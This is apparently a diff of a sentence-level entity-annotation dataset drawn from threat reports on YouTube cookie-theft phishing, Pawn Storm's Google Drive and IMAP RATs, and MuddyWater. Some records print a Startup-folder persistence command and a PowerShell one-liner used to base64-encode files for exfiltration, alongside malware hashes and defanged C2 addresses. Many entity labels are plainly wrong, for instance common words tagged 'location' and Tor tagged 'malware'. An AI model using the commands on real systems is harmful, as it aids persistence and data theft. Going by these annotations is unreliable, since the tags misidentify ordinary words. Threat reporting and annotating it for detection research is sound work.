 {"id":10190,"text":"Once the target agreed to the deal, a malware landing page disguised as a software download URL was sent via email or a PDF on Google Drive, and in a few cases, Google documents containing the phishing links.","entities":[{"id":31113,"label":"location","start_offset":9,"end_offset":15},{"id":31114,"label":"location","start_offset":30,"end_offset":34},{"id":31115,"label":"location","start_offset":46,"end_offset":53},{"id":31116,"label":"tools","start_offset":54,"end_offset":58},{"id":31118,"label":"location","start_offset":141,"end_offset":144},{"id":31120,"label":"attack-pattern","start_offset":193,"end_offset":201}],"relations":[],"Comments":[]}
-{"id":10191,"text":"Around 15,000 actor accounts were identified, most of which were created for this campaign specifically.","entities":[{"id":31122,"label":"location","start_offset":46,"end_offset":50},{"id":31123,"label":"location","start_offset":82,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":10192,"text":" The attackers registered various domains associated with forged companies and built multiple websites for malware delivery.","entities":[{"id":31124,"label":"location","start_offset":75,"end_offset":78}],"relations":[],"Comments":[]}
-{"id":10193,"text":"To date, we’ve identified at least 1,011 domains created solely for this purpose.","entities":[{"id":31125,"label":"location","start_offset":3,"end_offset":7}],"relations":[],"Comments":[]}
-{"id":10194,"text":"Some of the websites impersonated legitimate software sites, such as Luminar, Cisco VPN, games on Steam, and some were generated using online templates.","entities":[{"id":31127,"label":"location","start_offset":54,"end_offset":59},{"id":31131,"label":"location","start_offset":105,"end_offset":108}],"relations":[],"Comments":[]}
 {"id":10195,"text":"During the pandemic, we also uncovered attackers posing as news providers with a “Covid19 news software.”","entities":[],"relations":[],"Comments":[]}
-{"id":10196,"text":"In one case, we observed a fake social media page copying content from an existing software company.","entities":[{"id":31134,"label":"location","start_offset":7,"end_offset":11},{"id":31135,"label":"location","start_offset":39,"end_offset":44},{"id":31136,"label":"location","start_offset":45,"end_offset":49},{"id":31137,"label":"location","start_offset":58,"end_offset":65}],"relations":[],"Comments":[]}
 {"id":10197,"text":"The following screenshot is an example of a fake page where the original URL is replaced with one leading to a cookie theft malware download.","entities":[{"id":31138,"label":"tools","start_offset":49,"end_offset":53},{"id":31139,"label":"location","start_offset":94,"end_offset":97}],"relations":[],"Comments":[]}
 {"id":10198,"text":"Because Google actively detects and disrupts phishing links sent via Gmail, the actors were observed driving targets to messaging apps like WhatsApp, Telegram or Discord.","entities":[{"id":31141,"label":"location","start_offset":32,"end_offset":35},{"id":31142,"label":"attack-pattern","start_offset":45,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":10199,"text":" Once the target runs the fake software, a cookie stealing malware executes, taking browser cookies from the victim’s machine and uploading them to the actor's command & control servers.","entities":[{"id":31147,"label":"location","start_offset":10,"end_offset":16},{"id":31148,"label":"location","start_offset":126,"end_offset":129},{"id":31149,"label":"location","start_offset":140,"end_offset":144}],"relations":[],"Comments":[]}
-{"id":10200,"text":"Although this type of malware can be configured to be persistent on the victim's machine, these actors are running all malware in non-persistent mode as a smash-and-grab technique.","entities":[{"id":31150,"label":"location","start_offset":14,"end_offset":18},{"id":31151,"label":"location","start_offset":30,"end_offset":33},{"id":31152,"label":"location","start_offset":103,"end_offset":106},{"id":31153,"label":"location","start_offset":145,"end_offset":149},{"id":31154,"label":"location","start_offset":161,"end_offset":164}],"relations":[],"Comments":[]}
-{"id":10201,"text":"This is because if the malicious file is not detected when executed, there are less artifacts on an infected host and therefore security products fail to notify the user of a past compromise.","entities":[{"id":31155,"label":"location","start_offset":75,"end_offset":78},{"id":31156,"label":"location","start_offset":109,"end_offset":113},{"id":31157,"label":"location","start_offset":114,"end_offset":117},{"id":31158,"label":"location","start_offset":128,"end_offset":136}],"relations":[],"Comments":[]}
-{"id":10202,"text":"We have observed that actors use various types of malware based on personal preference, most of which are easily available on Github.","entities":[{"id":31159,"label":"location","start_offset":88,"end_offset":92},{"id":31160,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]}
 {"id":10203,"text":"Some commodity malware used included RedLine, Vidar, Predator The Thief, Nexus stealer, Azorult, Raccoon, Grand Stealer, Vikro Stealer, Masad (Google’s naming), and Kantal (Google’s naming) which shares code similarity with Vidar.","entities":[{"id":31165,"label":"malware","start_offset":79,"end_offset":86},{"id":31172,"label":"location","start_offset":161,"end_offset":164}],"relations":[],"Comments":[]}
 {"id":10204,"text":"Open source malware like Sorano and AdamantiumThief were also observed.","entities":[{"id":31176,"label":"attack-pattern","start_offset":5,"end_offset":11},{"id":31178,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":10205,"text":"Related hashes are listed in the Technical Details section, at the end of this report.","entities":[{"id":31179,"label":"location","start_offset":15,"end_offset":18},{"id":31180,"label":"location","start_offset":51,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":10206,"text":"Most of the observed malware was capable of stealing both user passwords and cookies.","entities":[{"id":31181,"label":"location","start_offset":0,"end_offset":4},{"id":31182,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":10207,"text":"Some of the samples employed several anti-sandboxing techniques including enlarged files, encrypted archive and download IP cloaking.","entities":[{"id":31183,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]}
 {"id":10208,"text":"A few were observed displaying a fake error message requiring user click-through to continue execution.","entities":[],"relations":[],"Comments":[]}
-{"id":10209,"text":" A large number of hijacked channels were rebranded for cryptocurrency scam live-streaming.","entities":[{"id":31184,"label":"location","start_offset":3,"end_offset":8}],"relations":[],"Comments":[]}
-{"id":10210,"text":"The channel name, profile picture and content were all replaced with cryptocurrency branding to impersonate large tech or cryptocurrency exchange firms.","entities":[{"id":31185,"label":"location","start_offset":34,"end_offset":37},{"id":31186,"label":"location","start_offset":38,"end_offset":45},{"id":31187,"label":"location","start_offset":108,"end_offset":113},{"id":31188,"label":"location","start_offset":137,"end_offset":145},{"id":31189,"label":"location","start_offset":146,"end_offset":151}],"relations":[],"Comments":[]}
-{"id":10211,"text":"The attacker live-streamed videos promising cryptocurrency giveaways in exchange for an initial contribution.","entities":[{"id":31190,"label":"location","start_offset":72,"end_offset":80}],"relations":[],"Comments":[]}
 {"id":10212,"text":"On account-trading markets, hijacked channels ranged from $3 USD to $4,000 USD depending on the number of subscribers.","entities":[],"relations":[],"Comments":[]}
-{"id":10213,"text":" These campaigns were carried out by a number of hack-for-hire actors recruited on Russian-speaking forums via the following job description, offering two types of work: This recruitment model explains the highly customized social engineering, as well as the varied malware types given each actor's choice of preferred malware.","entities":[{"id":31191,"label":"location","start_offset":49,"end_offset":53},{"id":31193,"label":"location","start_offset":125,"end_offset":128},{"id":31195,"label":"location","start_offset":187,"end_offset":192},{"id":31196,"label":"location","start_offset":280,"end_offset":285},{"id":31197,"label":"location","start_offset":299,"end_offset":305}],"relations":[],"Comments":[]}
 {"id":10214,"text":"We are continuously improving our detection methods and investing in new tools and features that automatically identify and stop threats like this one.","entities":[{"id":31198,"label":"location","start_offset":3,"end_offset":6},{"id":31199,"label":"location","start_offset":52,"end_offset":55},{"id":31200,"label":"location","start_offset":79,"end_offset":82},{"id":31201,"label":"location","start_offset":120,"end_offset":123},{"id":31202,"label":"malware","start_offset":124,"end_offset":128},{"id":31203,"label":"location","start_offset":147,"end_offset":150}],"relations":[],"Comments":[]}
-{"id":10215,"text":"Some of these improvements include: It is also important that users remain aware of these types of threats and take appropriate action to further protect themselves.","entities":[{"id":31204,"label":"location","start_offset":107,"end_offset":110},{"id":31205,"label":"location","start_offset":128,"end_offset":134}],"relations":[],"Comments":[]}
 {"id":10216,"text":"Our recommendations: Additional resources: Avoid & Report Phishing Emails.","entities":[{"id":31206,"label":"attack-pattern","start_offset":58,"end_offset":66}],"relations":[],"Comments":[]}
 {"id":10217,"text":"Related Malware hashes: Top Phishing Domains:","entities":[{"id":31207,"label":"attack-pattern","start_offset":28,"end_offset":36}],"relations":[],"Comments":[]}
-{"id":10218,"text":"A defender who finds a simple remote access trojan (RAT) in the network won’t immediately think it was from an advanced persistent threat (APT) actor.","entities":[{"id":31208,"label":"location","start_offset":30,"end_offset":36},{"id":31209,"label":"location","start_offset":139,"end_offset":142}],"relations":[],"Comments":[]}
 {"id":10219,"text":"Likewise, brute force attacks on internet-facing services like email, Microsoft Autodiscover, SMB, LDAP, and SQL are so common that they may seem like background noise that can be ignored.","entities":[{"id":31210,"label":"attack-pattern","start_offset":10,"end_offset":21},{"id":31213,"label":"location","start_offset":105,"end_offset":108},{"id":31214,"label":"location","start_offset":113,"end_offset":116},{"id":31215,"label":"location","start_offset":137,"end_offset":140},{"id":31216,"label":"location","start_offset":173,"end_offset":176}],"relations":[],"Comments":[]}
-{"id":10220,"text":"But in 2020, the notorious APT actor Pawn Storm used exactly these non-sophisticated attack methods to such an extent that their attacks may get lost in the noise.","entities":[{"id":31218,"label":"location","start_offset":27,"end_offset":30},{"id":31220,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]}
-{"id":10221,"text":"In 2020 Pawn Storm spread simple Google Drive and IMAP Remote Access Trojans (RATs) to attack their usual targets, such as ministries of foreign affairs, embassies, the defense industry and the military.","entities":[{"id":31224,"label":"location","start_offset":46,"end_offset":49},{"id":31226,"label":"location","start_offset":177,"end_offset":185},{"id":31227,"label":"location","start_offset":186,"end_offset":189}],"relations":[],"Comments":[]}
 {"id":10222,"text":"The RATs were also sent to a wider net of targets including various industries around the world.","entities":[{"id":31229,"label":"malware","start_offset":35,"end_offset":38},{"id":31230,"label":"location","start_offset":90,"end_offset":95}],"relations":[],"Comments":[]}
 {"id":10223,"text":"The group also performed widespread brute force attacks to steal credentials such as those of corporate email accounts, as evidenced by network probes we attribute to Pawn Storm and the loose way the actor abused compromised email accounts in malware and in sending spear-phishing emails.","entities":[{"id":31231,"label":"attack-pattern","start_offset":36,"end_offset":47},{"id":31233,"label":"location","start_offset":178,"end_offset":181},{"id":31234,"label":"location","start_offset":192,"end_offset":195},{"id":31235,"label":"location","start_offset":251,"end_offset":254},{"id":31236,"label":"location","start_offset":266,"end_offset":271},{"id":31237,"label":"attack-pattern","start_offset":272,"end_offset":280}],"relations":[],"Comments":[]}
-{"id":10224,"text":"Pawn Storm even hardcoded compromised military and government-related email addresses in their IMAP RAT malware to communicate with victims’ computers.","entities":[{"id":31239,"label":"location","start_offset":47,"end_offset":50}],"relations":[],"Comments":[]}
 {"id":10225,"text":"Recently, Norwegian authorities announced that Pawn Storm hacked the Norwegian parliament through brute force attacks.","entities":[{"id":31244,"label":"attack-pattern","start_offset":98,"end_offset":109}],"relations":[],"Comments":[]}
 {"id":10226,"text":"As shown in incremental improvements, subsequent versions of the malware hint towards a learning curve of the malware author that is more typical for an inexperienced actor than for an advanced actor.","entities":[],"relations":[],"Comments":[]}
-{"id":10227,"text":"First, the RATs were so simple that they did not even take into account international keyboards.","entities":[{"id":31247,"label":"location","start_offset":72,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":10228,"text":"This means it would be difficult for the attacker to enumerate the victims’ hard drives with files and folders that contain international characters.","entities":[{"id":31248,"label":"location","start_offset":5,"end_offset":10},{"id":31249,"label":"location","start_offset":76,"end_offset":80},{"id":31250,"label":"location","start_offset":99,"end_offset":102},{"id":31251,"label":"location","start_offset":124,"end_offset":137}],"relations":[],"Comments":[]}
 {"id":10229,"text":"This mistake was corrected swiftly, but it shows the relative inexperience of this particular Pawn Storm operator.","entities":[],"relations":[],"Comments":[]}
-{"id":10230,"text":"Later versions of the RAT malware started to use encryption, which could have been added right from the start.","entities":[{"id":31253,"label":"location","start_offset":104,"end_offset":109}],"relations":[],"Comments":[]}
-{"id":10231,"text":"The only secondary payload we observed was a simple keylogger that stores stolen information locally on the victims’ machines.","entities":[{"id":31254,"label":"location","start_offset":4,"end_offset":8}],"relations":[],"Comments":[]}
-{"id":10232,"text":"Attribution to Pawn Storm of these malware samples would be difficult with only the samples at hand.","entities":[{"id":31256,"label":"location","start_offset":75,"end_offset":79},{"id":31257,"label":"location","start_offset":95,"end_offset":99}],"relations":[],"Comments":[]}
-{"id":10233,"text":"Typically, a network defender would not attribute this kind of malware to an APT actor at all.","entities":[{"id":31258,"label":"location","start_offset":77,"end_offset":80}],"relations":[],"Comments":[]}
 {"id":10234,"text":"However, we have solid attribution for these samples based on our long-term monitoring of Pawn Storm’s activities.","entities":[{"id":31259,"label":"location","start_offset":66,"end_offset":70},{"id":31260,"label":"threat-actor","start_offset":90,"end_offset":100}],"relations":[],"Comments":[]}
 {"id":10235,"text":" Recap of recent Pawn Storm activities Compromising accounts of users from the Middle East Trend Micro has been closely and consistently monitoring the activities of Pawn Storm, and in March 2020, we released our latest research on the group.","entities":[{"id":31264,"label":"location","start_offset":120,"end_offset":123},{"id":31265,"label":"threat-actor","start_offset":166,"end_offset":176},{"id":31266,"label":"location","start_offset":178,"end_offset":181}],"relations":[],"Comments":[]}
 {"id":10236,"text":"In the aforementioned research paper, we shared that Pawn Storm heavily abuses compromised accounts — mainly in the Middle East — to send spear-phishing emails.","entities":[{"id":31270,"label":"location","start_offset":138,"end_offset":143},{"id":31271,"label":"attack-pattern","start_offset":144,"end_offset":152}],"relations":[],"Comments":[]}
 {"id":10237,"text":"The abuse of compromised email accounts in the Middle East continued in 2020.","entities":[],"relations":[],"Comments":[]}
-{"id":10238,"text":"For example, in early December 2020 the group used a VPN service to connect to a compromised cloud server, then used the cloud server to connect to a commercial business email service provider.","entities":[{"id":31275,"label":"location","start_offset":93,"end_offset":98},{"id":31276,"label":"location","start_offset":121,"end_offset":126}],"relations":[],"Comments":[]}
 {"id":10239,"text":"The group then logged in to a compromised email account of a chicken farm in Oman, and then sent out credential phishing spam messages to high-profile targets around the world.","entities":[{"id":31277,"label":"location","start_offset":61,"end_offset":68},{"id":31279,"label":"location","start_offset":83,"end_offset":86},{"id":31280,"label":"attack-pattern","start_offset":112,"end_offset":120},{"id":31281,"label":"location","start_offset":170,"end_offset":175}],"relations":[],"Comments":[]}
-{"id":10240,"text":"This shows that Pawn Storm is careful at obfuscating their tracks on multiple levels.","entities":[{"id":31283,"label":"location","start_offset":78,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":10241,"text":"The abuse of various compromised email accounts in the Middle East started in May 2019 and continues today.","entities":[{"id":31286,"label":"location","start_offset":87,"end_offset":90}],"relations":[],"Comments":[]}
 {"id":10242,"text":"Since August 2020, they didn’t use these email addresses to only send spear-phishing emails, but also as a way to communicate with compromised systems in IMAP RATs.","entities":[{"id":31289,"label":"location","start_offset":60,"end_offset":64},{"id":31290,"label":"location","start_offset":70,"end_offset":75},{"id":31291,"label":"attack-pattern","start_offset":76,"end_offset":84},{"id":31292,"label":"location","start_offset":107,"end_offset":110}],"relations":[],"Comments":[]}
 {"id":10243,"text":"Brute force attacks","entities":[{"id":31293,"label":"attack-pattern","start_offset":0,"end_offset":11}],"relations":[],"Comments":[]}
 {"id":10244,"text":"We think that Pawn Storm compromises lots of email accounts through brute force attacks on internet-facing services like email, LDAP, Microsoft Autodiscover, SMB, and SQL.","entities":[{"id":31294,"label":"threat-actor","start_offset":14,"end_offset":24},{"id":31295,"label":"attack-pattern","start_offset":68,"end_offset":79},{"id":31297,"label":"location","start_offset":163,"end_offset":166}],"relations":[],"Comments":[]}
 {"id":10245,"text":"For example, in May 2020, Pawn Storm scanned IP addresses worldwide, including IP addresses from the defense industry in Europe, on TCP port 445 and 1433, likely in an attempt to find vulnerable SMB and SQL servers or brute force credentials.","entities":[{"id":31300,"label":"location","start_offset":109,"end_offset":117},{"id":31303,"label":"location","start_offset":145,"end_offset":148},{"id":31305,"label":"location","start_offset":155,"end_offset":161},{"id":31306,"label":"location","start_offset":199,"end_offset":202},{"id":31307,"label":"attack-pattern","start_offset":218,"end_offset":229}],"relations":[],"Comments":[]}
-{"id":10246,"text":"In August 2020, Pawn Storm also sent UDP probes to LDAP servers around the world from one of their dedicated IP addresses.","entities":[{"id":31310,"label":"location","start_offset":75,"end_offset":80}],"relations":[],"Comments":[]}
 {"id":10247,"text":"In 2020, Pawn Storm often tries to obfuscate these brute force attempts by routing their attack traffic over Tor and VPN servers.","entities":[{"id":31314,"label":"attack-pattern","start_offset":51,"end_offset":62},{"id":31315,"label":"malware","start_offset":109,"end_offset":112},{"id":31316,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]}
 {"id":10248,"text":"Yet this is not always enough to hide these activities.","entities":[],"relations":[],"Comments":[]}
 {"id":10249,"text":"In a Microsoft article about brute-forcing Office365 credentials over Tor, Microsoft attributed the activities to Strontium, which is another name for Pawn Storm.","entities":[{"id":31319,"label":"malware","start_offset":70,"end_offset":73}],"relations":[],"Comments":[]}
@@ -10253,42 +7543,23 @@
 {"id":10253,"text":"Technical analysis of Google Drive RAT       Figure 1. Spear phishing email from Pawn Storm – collected in August 2020.      ","entities":[{"id":31343,"label":"attack-pattern","start_offset":55,"end_offset":69},{"id":31344,"label":"threat-actor","start_offset":81,"end_offset":91}],"relations":[],"Comments":[]}
 {"id":10254,"text":"Starting from August 2020, Pawn Storm has sent several spear phishing emails with a malicious RAR attachment.","entities":[{"id":31347,"label":"threat-actor","start_offset":27,"end_offset":37},{"id":31348,"label":"attack-pattern","start_offset":55,"end_offset":69}],"relations":[],"Comments":[]}
 {"id":10255,"text":"Among the earliest samples we received were two almost identical RAR files that contained a file called info.exe.","entities":[],"relations":[],"Comments":[]}
-{"id":10256,"text":"Both versions of the info.exe files are self-extracting archives (SFX) that extract and execute two files: decrypt.exe and gdrive.exe.","entities":[{"id":31349,"label":"location","start_offset":36,"end_offset":39},{"id":31350,"label":"location","start_offset":84,"end_offset":87},{"id":31351,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]}
 {"id":10257,"text":"We have: c4a61b581890f575ba0586cf6d7d7d3e0c7603ca40915833d6746326685282b7","entities":[{"id":31352,"label":"SHA2","start_offset":9,"end_offset":73}],"relations":[],"Comments":[]}
 {"id":10258,"text":"installing  decrypt.exe – 661d4a0d877bac9b813769a85c01bce274a77b29ccbd4b71e5b92df3c425b93b gdrive.exe – cbd9cb7b69f864ce8bae983ececb7cf8627f9c17fdaba74bd39baa5cdf605f79  3fd45b9b33ff5b6363ba0013178572723b0a912deb8235a951aa3f0aa3142509 installing  decrypt.exe – 661d4a0d877bac9b813769a85c01bce274a77b29ccbd4b71e5b92df3c425b93b gdrive.exe – 2060f1e108f5feb5790320c38931e3dc6c7224edf925bf6f1840351578bbf9cc  Decoy File","entities":[{"id":31353,"label":"SHA1","start_offset":26,"end_offset":90},{"id":31354,"label":"SHA2","start_offset":104,"end_offset":168},{"id":31355,"label":"SHA2","start_offset":170,"end_offset":234},{"id":31356,"label":"SHA2","start_offset":261,"end_offset":325},{"id":31357,"label":"SHA1","start_offset":339,"end_offset":403},{"id":31358,"label":"location","start_offset":405,"end_offset":410}],"relations":[],"Comments":[]}
-{"id":10259,"text":"We noticed that the file decrypt.exe is a decoy file that will run once info.exe is executed.","entities":[{"id":31359,"label":"location","start_offset":42,"end_offset":47},{"id":31360,"label":"location","start_offset":58,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":10260,"text":"The application will only show a message box wherein a user can type a password for decryption.","entities":[{"id":31361,"label":"location","start_offset":16,"end_offset":20},{"id":31362,"label":"location","start_offset":21,"end_offset":25},{"id":31363,"label":"location","start_offset":60,"end_offset":63},{"id":31364,"label":"location","start_offset":64,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":10261,"text":"Checking the disassembly of this file reveals that it only shows another message box when a password is entered on the main application.","entities":[{"id":31365,"label":"location","start_offset":54,"end_offset":58}],"relations":[],"Comments":[]}
 {"id":10262,"text":"          Figures 2-3.","entities":[],"relations":[],"Comments":[]}
 {"id":10263,"text":"The message box that decrypt.exe displays     ","entities":[],"relations":[],"Comments":[]}
-{"id":10264,"text":"After closing this application, the file gdrive.exe will be executed by the SFX archive.","entities":[{"id":31368,"label":"location","start_offset":52,"end_offset":56}],"relations":[],"Comments":[]}
 {"id":10265,"text":"The different versions of gdrive.exe are almost identical, with a minor addition to the file 2060f1e108f5feb5790320c38931e3dc6c7224edf925bf6f1840351578bbf9cc of base64 encoding on the victim’s id.","entities":[{"id":31369,"label":"location","start_offset":37,"end_offset":40},{"id":31370,"label":"location","start_offset":66,"end_offset":71},{"id":31371,"label":"SHA2","start_offset":93,"end_offset":157}],"relations":[],"Comments":[]}
-{"id":10266,"text":"      Figure 4. Drive.exe code snippet showing comp_id      Figure 5. Drive.exe code snippet showing comp_id and base64 encoding     Initial Run","entities":[{"id":31374,"label":"location","start_offset":109,"end_offset":112}],"relations":[],"Comments":[]}
-{"id":10267,"text":"The first thing this malware does is it copies itself to the startup directory for persistence.","entities":[{"id":31375,"label":"location","start_offset":61,"end_offset":68}],"relations":[],"Comments":[]}
 {"id":10268,"text":"It does this via cmd.exe with the following command:   move \/Y  \"{malware_location}\"  \"C:\\Users\\{username}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\gdrive.exe\"  Every time the malware runs a command using cmd.exe, the standard output (STDOUT) of the executed command is piped and written to a Google Drive account with the following filename format:   {utcnow}_report_{victim’s id}       Figure 6.","entities":[{"id":31376,"label":"malware","start_offset":17,"end_offset":24},{"id":31377,"label":"location","start_offset":188,"end_offset":192},{"id":31378,"label":"malware","start_offset":226,"end_offset":233},{"id":31379,"label":"location","start_offset":239,"end_offset":247},{"id":31380,"label":"location","start_offset":297,"end_offset":300}],"relations":[],"Comments":[]}
-{"id":10269,"text":"Code snippet showing the execution of commands     The client key and token used to read and write the attacker’s Google Drive account is hardcoded on the malware itself.","entities":[{"id":31382,"label":"location","start_offset":66,"end_offset":69},{"id":31383,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]}
 {"id":10270,"text":"          Figures 7-8.","entities":[],"relations":[],"Comments":[]}
-{"id":10271,"text":"Code snippets showing client key and token     Sending back the information through Google Drive will allow the attacker to check if the machine that executed the malware was the intended victim they wanted to target.","entities":[{"id":31386,"label":"location","start_offset":33,"end_offset":36},{"id":31387,"label":"location","start_offset":97,"end_offset":101},{"id":31388,"label":"location","start_offset":124,"end_offset":129},{"id":31389,"label":"location","start_offset":210,"end_offset":216}],"relations":[],"Comments":[]}
 {"id":10272,"text":"Receiving commands and data exfiltration Every 20 minutes, the bot checks for a file in Google Drive.","entities":[{"id":31390,"label":"location","start_offset":19,"end_offset":22},{"id":31391,"label":"TIME","start_offset":41,"end_offset":57}],"relations":[],"Comments":[]}
 {"id":10273,"text":"If a file with a corresponding filename format exist (cmd_{victim’s id})","entities":[],"relations":[],"Comments":[]}
-{"id":10274,"text":", it downloads that file and runs the contents as a batch file.      Figure 9. Code snippets","entities":[{"id":31392,"label":"location","start_offset":25,"end_offset":28}],"relations":[],"Comments":[]}
 {"id":10275,"text":"showing","entities":[],"relations":[],"Comments":[]}
 {"id":10276,"text":"waiting for commands","entities":[],"relations":[],"Comments":[]}
-{"id":10277,"text":"    Again, the STDOUT of the commands will be written back to Google Drive as a result.","entities":[{"id":31394,"label":"location","start_offset":38,"end_offset":42}],"relations":[],"Comments":[]}
-{"id":10278,"text":"This works as a reverse shell back to the attacker with Google Drive as the Command and Control (C&C) server.","entities":[{"id":31395,"label":"location","start_offset":24,"end_offset":29},{"id":31397,"label":"location","start_offset":84,"end_offset":87}],"relations":[],"Comments":[]}
-{"id":10279,"text":"The command file that the bot received from Google Drive will also be deleted once it is downloaded.","entities":[{"id":31398,"label":"location","start_offset":57,"end_offset":61}],"relations":[],"Comments":[]}
-{"id":10280,"text":"     Figure 10. Code snippets showing readFile     Using the “reverse shell” method mentioned above","entities":[{"id":31400,"label":"location","start_offset":70,"end_offset":75}],"relations":[],"Comments":[]}
 {"id":10281,"text":", the attacker can exfiltrate data\/documents using the following commands:  powershell -command \"[Convert]::ToBase64String([IO.File]::ReadAllBytes('{filename}')       Figure 11.","entities":[{"id":31401,"label":"location","start_offset":15,"end_offset":18},{"id":31402,"label":"attack-pattern","start_offset":76,"end_offset":86}],"relations":[],"Comments":[]}
 {"id":10282,"text":"Code snippets showing the exfiltration of data     The secondary payload with the filename Google Drivemonitor.exe (0b94e123f6586967819fa247cdd58779b1120ef93fa1ea1de70dffc898054a09) is a keylogger.","entities":[{"id":31404,"label":"SHA2","start_offset":116,"end_offset":180}],"relations":[],"Comments":[]}
-{"id":10283,"text":"The collected keystrokes are stored in the same directory from which the malware was executed.","entities":[{"id":31405,"label":"location","start_offset":25,"end_offset":28},{"id":31406,"label":"location","start_offset":43,"end_offset":47}],"relations":[],"Comments":[]}
 {"id":10284,"text":"     Figure 12.","entities":[],"relations":[],"Comments":[]}
 {"id":10285,"text":"Code snippets showing keylogs     This secondary payload does not have any function to upload the collected keystrokes back to the attacker.","entities":[],"relations":[],"Comments":[]}
-{"id":10286,"text":"However, since the main malware acts as a “reverse shell,” the attacker can retrieve the collected keystrokes at a later time.","entities":[{"id":31408,"label":"location","start_offset":51,"end_offset":56},{"id":31409,"label":"location","start_offset":72,"end_offset":75},{"id":31410,"label":"location","start_offset":121,"end_offset":125}],"relations":[],"Comments":[]}
 {"id":10287,"text":"Eventually, the threat actor added improvements to the malware, like encryption.","entities":[],"relations":[],"Comments":[]}
 {"id":10288,"text":"Later the actor started to use IMAP RATs as well.","entities":[],"relations":[],"Comments":[]}
-{"id":10289,"text":"Trend Micro solutions Trend Micro recommends Trend MicroTM XDR for extensive monitoring across the connected layers of email, endpoints, cloud workloads, and networks.","entities":[{"id":31414,"label":"location","start_offset":137,"end_offset":142},{"id":31415,"label":"location","start_offset":154,"end_offset":157}],"relations":[],"Comments":[]}
-{"id":10290,"text":"Powered by advanced AI and expert security analytics for correlating data, XDR allows earlier detection and response and lessens alert fatigue for IT security teams.","entities":[{"id":31416,"label":"location","start_offset":23,"end_offset":26},{"id":31417,"label":"location","start_offset":34,"end_offset":42},{"id":31418,"label":"location","start_offset":104,"end_offset":107},{"id":31419,"label":"location","start_offset":117,"end_offset":120},{"id":31420,"label":"location","start_offset":129,"end_offset":134},{"id":31421,"label":"location","start_offset":150,"end_offset":158}],"relations":[],"Comments":[]}
-{"id":10291,"text":"We also offer Trend Micro Managed XDR, a 24\/7 service that harnesses the skills of our expert Managed Detection and Response analysts for expert threat monitoring, correlation, and analysis.","entities":[{"id":31423,"label":"location","start_offset":112,"end_offset":115},{"id":31424,"label":"location","start_offset":177,"end_offset":180}],"relations":[],"Comments":[]}
 {"id":10292,"text":"Indicators of compromise IP addresses  IP address  Description  Dates active  34.243.239[.]199  Connects to email servers of compromised accounts.","entities":[{"id":31425,"label":"IPV4","start_offset":78,"end_offset":94}],"relations":[],"Comments":[]}
 {"id":10293,"text":"IP address possibly compromised by Pawn Storm.  October 29, 2020 – December 8, 2020  74.208.228[.]186  Connects to email servers of compromised accounts.","entities":[{"id":31426,"label":"threat-actor","start_offset":35,"end_offset":45},{"id":31428,"label":"IPV4","start_offset":85,"end_offset":101}],"relations":[],"Comments":[]}
 {"id":10294,"text":"IP address possibly compromised by Pawn Storm.","entities":[{"id":31429,"label":"threat-actor","start_offset":35,"end_offset":45}],"relations":[],"Comments":[]}
@@ -10317,185 +7588,74 @@
 {"id":10317,"text":" photos.exe  IMAP RAT","entities":[],"relations":[],"Comments":[]}
 {"id":10318,"text":" Trojan.MSIL.OCEANMAP.A","entities":[],"relations":[],"Comments":[]}
 {"id":10319,"text":" N\/A  661d4a0d877bac9b813769a85c01bce274a77b29ccbd4b71e5b92df3c425b93b  decrypt.exe","entities":[{"id":31460,"label":"SHA1","start_offset":6,"end_offset":70}],"relations":[],"Comments":[]}
-{"id":10320,"text":"decoy file  N\/A","entities":[{"id":31461,"label":"location","start_offset":0,"end_offset":5}],"relations":[],"Comments":[]}
 {"id":10321,"text":" N\/A  0b94e123f6586967819fa247cdd58779b1120ef93fa1ea1de70dffc898054a09  Google Drivemonitor.exe  keylogger","entities":[{"id":31462,"label":"SHA2","start_offset":6,"end_offset":70}],"relations":[],"Comments":[]}
 {"id":10322,"text":" TrojanSpy","entities":[],"relations":[],"Comments":[]}
-{"id":10323,"text":".MSIL.KEYLOGGR.WLDG  N\/A       Tags  Articles, News, Reports | APT & Targeted Attacks | Research","entities":[{"id":31463,"label":"location","start_offset":63,"end_offset":66}],"relations":[],"Comments":[]}
 {"id":10324,"text":"The MuddyWater campaign was first sighted in 2017 when it targeted the Saudi government using an attack involving PowerShell scripts deployed via Microsoft Office Word macro.","entities":[{"id":31465,"label":"location","start_offset":15,"end_offset":23},{"id":31468,"label":"attack-pattern","start_offset":114,"end_offset":124},{"id":31470,"label":"tools","start_offset":156,"end_offset":162}],"relations":[],"Comments":[]}
 {"id":10325,"text":"In March 2018, we provided a detailed analysis of another campaign that bore the hallmarks of MuddyWater.","entities":[{"id":31472,"label":"location","start_offset":58,"end_offset":66},{"id":31473,"label":"tools","start_offset":72,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":10326,"text":"In May 2018, we found a new sample (Detected as W2KM_DLOADR.UHAOEEN) that may be related to this campaign.","entities":[{"id":31476,"label":"location","start_offset":28,"end_offset":34},{"id":31477,"label":"location","start_offset":74,"end_offset":77},{"id":31478,"label":"location","start_offset":97,"end_offset":105}],"relations":[],"Comments":[]}
 {"id":10327,"text":"Like the previous campaigns, these samples again involve a Microsoft Word document embedded with a malicious macro that is capable of executing PowerShell (PS) scripts leading to a backdoor payload.","entities":[{"id":31481,"label":"attack-pattern","start_offset":144,"end_offset":154}],"relations":[],"Comments":[]}
 {"id":10328,"text":"One notable difference in the analyzed samples is that they do not directly download the Visual Basic Script(VBS) and PowerShell component files, and instead encode all the scripts on the document itself.","entities":[{"id":31483,"label":"location","start_offset":114,"end_offset":117},{"id":31484,"label":"attack-pattern","start_offset":118,"end_offset":128},{"id":31485,"label":"location","start_offset":146,"end_offset":149}],"relations":[],"Comments":[]}
